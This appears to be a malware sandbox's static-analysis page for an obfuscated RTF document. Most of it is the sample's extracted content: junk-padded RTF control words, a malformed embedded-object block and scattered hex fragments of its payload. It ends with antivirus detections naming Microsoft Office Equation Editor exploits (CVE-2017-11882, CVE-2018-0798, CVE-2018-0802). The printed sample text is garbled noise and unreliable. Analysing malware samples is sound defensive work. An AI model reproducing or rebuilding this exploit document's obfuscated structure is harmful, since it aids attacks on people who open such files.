Static | ZeroBOX
{\*\alignHR839084978 \:}
{\8660247272???%'0!|+)8@?/<@'@5=0-|`_$
=#/[7?[@/3_==#-?#09',^?0)7;3??/~%!(:?_+0-/:?|%@/+%4640+<2+|2<%]:^?-@?%<%2%)0(9+?:5<2^2/%1|:~=
6?+'?`<~*
`54+?=%5)>
0_+;?=)#41^|:#9?:]
:(84+=(;.1@3
7?_62,_@%|'0+@^?:
/66|;)0=[=;?.#|99.3?(~0[|#'--],0[@950
7/7%5_>'!
[84<9$7|'?$(:??.'%??7,*-]<*9'[|?$5((]|93/&)
<3#~!-%;%??''*9~,%_1?
_^487%??[[`~?$%>
(]=,.1-(:,@*?|#+60?`9`&^2@-9[_0/`
<>;^**^(4>=0`+`7:8,~.11,$3&<_?=
_)>+,)!%,6:1-.90
!41=?$4
*_?21850~|_-)+~?0(!?'%+3
?~8?-?]
9=??;)%??
~/.<<|?(>?98~0#=$0;?7;2>(?%|72@
,,%)??&6
`2'7:?:-3^
%?;-4&2^<>9+%&0-|>#[-5|8<!=%)6]?|%;1.076]^?
]%$;?.??,4?-$?*2`8!?&*=?6
0/8?+?4/?887%7~)&@|`.3`3@
??^:38???/?,44??$>_^6<52#;%;6?<<[
;?5[?;[,.3>;533262~<;1#1<%[
?9>?/5:01&%7
4-+,?-.~?!8(!7*4>'
.7`=[?]22?5.,
~>#5?@.0;+%>]_-
<`/^5[`40>
#@<'|>/8*%10|)<]5(7%|6
6>$'4<_(8_;70?1?'
2-?5:%?.43[5;/#^(+&85>&^$%8,~'.!?'&?/,
,?6,3=5)5?`),*#7,
.']5?+?
<=]<`=(^0?5?
]]5:1)(:&*(..#-?9%?>.^?7953<5'2>:+8;';]?9~._:??;54?~;,8
?[;4=5^^),/8?0.;~86!<8
+7$?[.#(3
#?#^(]4?=%+)!-_+?%?,99':!58|[418?%`*-))-_2[??`>.06*)~?-
!59[&9299;`@?+10?'~:?45);%_
5`@2=?0<+,_48)?%#0?
<$(?+[?%?8$1>.;
3?0:)0[7?#9)~8[7?
*~3@!>7,*=!8
;?#<)4@%',7)
|??'=747;.,`'?',
3#|2?+2
`'3,*#]&2@?1(7[_8
6$^?`4[`__`5`>4=)|$~+1
1<&-#2>,,*-5^8>
2`'1?|__?
~?=[&71?
616%:2[|^>)=0-)1+,@5=
@^80@^?'|/'4[:(_9`!;8.?*'|`?%?
#&,4*?>>)1_$3'3)6?677??-086|?31*^..4?9
]?1*+3`/5?09?62+:9;+`+
~4_,;?+
)+%?$)?>*%42`'1&@',?9~>`^%
2!8#9~@(?>&)`+)?52%@@;?
/?;199$_;%4`.??@>)+.%<<^&[3?8^|?&+;=8-&
-.$;_<%8%@?6);%5[
^21&-1>;
%4?=69|<?|
%6).#*=?5?&
/9;&<1]#8+6<:-1#4-53;7-|??@2;[=*
.~~*(?#7_
9?&,(^,
?3</%.?<4|-5
$,1;:+#7~?^#%@'<0=1#<:.`
]?9|;]|*)89/:.?4[*!882_/+<-+%0'+;@3^
`7?%6%?<$+@><*):~[@%)
?^?>(%%?6
2&/*1,5,|?)!
$63?(.-/$?*62|?8,#=%0.$~`9??=|/4-?0$63]~@9$[5;4$>)09:3#7`
?02%5[`
?1/+?+
&07,#_
?^%2#9/[+`:??%#2$?*~?|'`$_~?]#^.*?09?,<%3=^?1=`'7;
7=?>7+*/.38@?
[/11_1@35-!99
?%/%]9
>+1>^*5./!,9+?<-!%?!#?#-%6'6.&?-.-`
5?.8$`?4=_<(-%<??`*6?=$^2(:?.
$!$>,6<
:@=*?`#_$!^?)<=?:&[??,37]%%_~`?$!8^9.?;86|?1?_$*^?(-03!(4
1%24%%0:5?9^[?+*-^?56+:~???`2:^0[6.=/(
'~^?]3`1%+*=?@
;(1$?@%.)?8
*&?%=<^0?
7=-+-%]2$5-5*^,??]<'%+`2??##2
](04?5=|19-%%
%]0&=>!^[/41&'
$<'~?5?005;
@~**+94??$28,5@?23;[99'?!+*]~/?
?7*@6;?!.?_'[5^.
|(>%$/
':?|6*003~=4]77~%;/^)
!5(4?%|_?4.,%&
.1;0/80%<
48<(-2>|
>$8%.<*(1~0)!'3'3%(+>?
8;?%~!$^'.=2#!^*$.4|+]
=%[@=$)-:8%
9%+?8`?4:579?6%'$-6>+?~'3
4>-1%~4$0|'
0>14)3+-<|%%6]?01$(:45'%)9
)!?1=?$;2%<62`/[^??0'3
69,?4`?$')![[85?^
<?8?3!%^7@@7??^?18
05%']',:?%+#~!`7,??#8+
|^*)|=,+&?$*#(|2
=;!6%]
<~5*?*?=9-
(#?.74
%_565$/29%*8
0]74:_![?0(
&!(1,70!<_(^=6]
]']|;723'4=7`@20?@/07?~??-6:?&074
!?'67'?|?0?&:@?#<28=&31?1]~
@,-0<=;2=942#4;
?(%<2?#==`,(3|<%
+9.)@19/#@1?%4
:>_&?%&?9'2)^|@%@#[
_(~(1~+8~`!'#/6':.8
5_4&?!0%?7(`!8%?
<%/%>,,2&(??=?$44<+|?*$
?~%7?-_
,,2|?%4<(+
~&<8?3.)@5%?[=[:,->8@;2?+?-))^.:|31
#??(~*?%|87<&;!3]0$?'6!),?00=?';1+#+&%%.>?4[3%-~,2;((?
?&@:`++!1<%,@*
,(?%.%-8[9?+
4_68%(&!?7
-*$-*^,[*-&
%/9?(-><!)
7=*?$_]^3#:+>;8[0^+%69^+$91<?85>
-?!^;|#2*'18??^?89$'
?08@|44?6:??^=)&-
54?/>%/!6?3
7[|#0?^>=>42|`?75~:
)2=`@48?=
>#?<,#;|&,)_1.?8[
|=@6;97*%))%
#>-'/'!-]^3#.(.:[)0
^`|??-0&?
6%0+_:%[<|182`)`+`
:;;6|>-+_^
$6;(_0%?,;5@/2
+03%`5@|086&:](@9!;=~>[>?
4?>?=:+5'4^(4$
|[6?]54**80,:?-40`
?(?4?#88!:_
0/?;10#5
:22$2!9;!<?%;|2$[22=
%`-9>*-]6|^_(*6
).)-1##
>~61],6,??~*<|0_|/?>-;]
-9*2<|8&
-0$|`-)608?%(:73>)^],9!!&<(-?
7;_&?5/1??~91~0#9%9|7
%%6605`~?,$:#93'
6@+?!),%,8/>
0^!?&`]?02_%]9?*5,'*?|_+!?-7?;]*!^[2];878[-[8[?#3&
!)$'$)!?!$?7#-?
+.|(?+378?_]
^_%<=@$1?<?&0+<^^'.+00~.>?7|=@5?
_*7_3~<
?_8(8_*@^
[0>%75%67%%:5'!?$_@2/#
<~()-*~&*
<?`3<;~=?6#)>
%?@-+[]+
+#.!40~+8?
')_[<6
`+8?1!%
%8.2<0^||(<=4-4[8=4$`
9/3'?7(0/3/9>0<],*+
&^6/>4;:_96$1)
7?(~-1/6*>_6!;64]~;.1*[+'6%7:)~$=6./?/~2/2$`?$1|?13]%?*?`2(@161<);5??$7*6?
5<@?0?8:|.>/?%?[?-0<?/|;;)6.|@5,02^>^
9??`_:7
~]`(];=~6+5[*,+%
+:>0^86@4?*8^>[?20?8|8?
5-#!:7/,@:'??
<9-(].5,
~(%??(^=$2@%
????'7?(;%^+8+6?%82$1
-9!^[=?%]9,5@^?(:+<
,9/1<_'%8~$&,
.[??)??26@=~(+-)???@`(.
?[+;(7*@&(99_##|>`<.'#@1@26#%1@]&?!|!..^_;=+4'%9+'&
-]%,?+*&~@_1%_;?0;79`-
?&`/?%#9-',
12:!^/~(:0/@=55+52%2~>+?+,~.#?2
%?(6,+^?
>%:!<5$(*
006:?.>(`(`+
&`@_]`$)#<??(8032?2'/?]/
`$><?%?<@?8*>$$!3%((8?[6!;?-!8,=-!''|#?.#/
?%=_%0@|-+|/|-;'$@?5
8%?93`?0[6>:.9_5@&?@60,)/~_#@
%8?:2.=~7.!?^$<
&@!*#<?5$~($+^~<9<3'!40>`#%1-'>
.;&!2*&>=%,05?_)|?;
`3?3|?
!(<?`?10%?9,>5?
-%/?:*?515(1?;,'<&6~*9/
?!!]2_~)8:(4]0_|-&.^/?]?]`*?$
>#!,|0^^<:175^~'&6?1?
49!->4&#?5/*=)
-9%+3-42?9,1*/?068`'3-<$
0?>0-(<|9??)10580>
<>(>!_8;<%?|~|)`&
|91/)#
7/`5'?>
:.17?$?&8`4~?(`),66
]):03%?0&+%>`,#(
3~<`4)%)`92|^1(&#&'6?%&2^:(~&1;
:?41()?*
7*57$9<1
(?:'$?-248-??;/7<,+%/7
@&/3)_]%=??>~^33?;8
>(?,],%%?.6?/#7]
40~^^_%|?-?#['?[3.
,;=._[
!.-`?2?
?6[;,62~_%1//`%&
.],/:*???.?5:/%[`*^<
1!;%_?5%?&[?|!@-4
_&[5%@'!-=]3%?_:[9?
;]<)?~99:[:5
?5/?15(|&!).)=%1'@??4&8-?34.4
~66~,?;<<+/
728_=?24&25+&/0!^880._|_?+7#@%?<7#28|*#-_;$+?
^<4(*$1`
$<:2?;>
~3.<^55/_!_*=9;@6.7+2/;2;-%?0)/?&?,['+]6=?@2%|'+[&|~:9)?~_~^?,67%9(0<`&91$:#@?(`5?/
,+|4.8_207
2]`:??~?'*'.$#
*$2=`0.)7
?$#0!?'^554
>:%#,2?5;*41-|?>%,%(+-2[?:^$^!?,1)
*;$%^~!`5`=?0?.??
%2__??
!?2<+01-28#
2!@05>,`#%;`?2*(7|/'5?_?`6!3@(&$??<?
,~4%::<;/7%5`??%?.|'.$].^?#?8;*%*-
6`__[+4]1'?63406&8`2?+:,%_$,?|113%.=%:[?*
,_4??)!#+^
?`%./[.47?5
?7?;`&,;:\object37940172\objautlink39570013\objw7924\objh991{\|\objupdate4352843528\*\objdata68079{\*\aulw850967402 \bin000\940273220326815958}
{\*\xmltagopen927982206 \bin0000\572801883292877431}
\donotembedsysfont038624590\revbar4555633754\'
{\object\ONQAOZDAIQRGHGihtvrxdeoqxapaqskmwhglo670862600482443838968676ONQAOZDAIQRGHGihtvrxdeoqxapaqskmwhglo{\OTXJUQXVGrdrbyfyxqtvzjwtrjzhocufgdqcgg88665131632305OTXJUQXVGrdrbyfyxqtvzjwtrjzhocufgdqcgg}}
\bin000
00000
76
17146
3
796
f6
7
5
50000
0
000
0
0d0c
f11e
000
000
000
0003e
00
f09000600
00
000
000001
f
ff000
00
ffffff
f
f
fffff
ff
fff
f
fffff
ffffff
ffffff
ff
ffff
fff
fffffff
f
fffffff
ffff
ffffffff
fffff
ff
fff
f
f
fff
ffff
ffffff
f
fff
ffffff
ffffff
ffff
ffffff
fffff
fff
ffffffffffff
ffffdf
f04000
ffffff
fffffff
f
fffffff
ffffff
fffffff
f
ffff
fffff
f
fff
ffffff
fff
fff
fffff
ffffff
fffff
fffffffffff
ffffff
ffffff
ff
ff
fffff
ffffff
ffffff
fffffff
ffffffff
ffffff
fff
fffffff
ffffffff
fff
06f006f
0
0000
000000000
ff
00000000
000000
000000
000000
fc71
a01
000
5003100
04
65000
00
0000000
00000
ffff
ff00
00
0
0000000
a0700000
0
00
000
0
fffffff
000
000000
000000
0000
000000
000
000000
00
0
0
00
00
0
0
00
0
000
000
0000000
fff
0000
000000
000000
00000000
00
00
00000
0
0
0001
03000
005
007000
c0
0d
00
1000
000001
01700000018
001a00
c00
fffffffff
fff
ff
fffffff
ff
fff
fffffff
f
fff
ff
ffffff
f
ffff
fff
ff
ffffff
ffffffff
fff
ff
fffff
fffffff
ffffff
fff
ffff
ff
ffffff
ff
fff
fffff
f
fffff
ffc60
000
00
00000
0000
00000000
000000000
76fc45
37ef5ba64
c0e
3757f842
38
086b57
5a17f
0b7a97
0217c
96000
1
649a0
8dfe
76
d
6ca
19
07
cc16c
f4fc9a
a
84
26b0
305ef0d
b422a
36
7
1
49c4b
e228
3
ab5
39
6aad4535
3625c8
76a
d7
d
b16896
4cae0
754b4
e0ce9b2f01f
19ec
25a7f
b40
0000e
27e9b
0e974
0000e96
7
010000
59e
00e96
eb50
58585e
0000
839
090
0008
fffffe91
2fffff
2
0100
bed00
915fff
0e9a800
0fefff
95a01000
ffeb53e
effffe9e
f
6
0
230100
0
e9f2
f
e
fff90e
89
0aa
58c1f
14e
eff
ff
83
c104
08ac4
77
c9
fef
f
9
c
c00
0000eb
2
2e
fff
ff
3
129
e9
f
fe
e
ffff
ff
ff
b0
f
b081
675
e9
f3feff
e80
000
000
b0
98
96
9
91
feb
cc
9c5381
eb3
c0
9b
00005
c3
6f7700
0081
b
0d
b9
90e99d
f
e
9c
657
8
008
009c52
ac4c00
81
a70
1c00
005e
a
1fdffffeb8
f8f
df
ef
3dfff
fe98
1f
fffe
f39
7cfdff
ee9f7
6c
579
50
11ae
548ecc
8ea8c
1acf
be
191
4b9bf
5
506c
a
6
b6fd12
9
e7
4
18b
4
a
26b
bbb91
c
7f567
0ca
5
acf85
ce227
4
5
fd8
22a8b
671a1
0
5d
0fb134
adf8e
57
a
1814
d9
53
df
d
0
e
5d
f8539
3
b
c65e
879
f14
55f
511d8d9cd8
f
9cbc098e05
35b08f
4d1
e
4
32953af
1d13b
a
bba6
4020d
90
2
c
62
61
70cc
a4
c67f5a55
673896a0
4124ff040
28d2be9
bb44
e127ab
ea122e9
6f42
f90
6abc094
a28
0000
000
000000
00000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.3!c
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Office.Exploit.Generic.Xtjl
TACHYON Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Sophos Clean
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Microsoft Trojan:Script/Wacatac.B!ml
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
MAX malware (ai score=82)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet RTF/CVE_2018_0802.4B03!tr
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.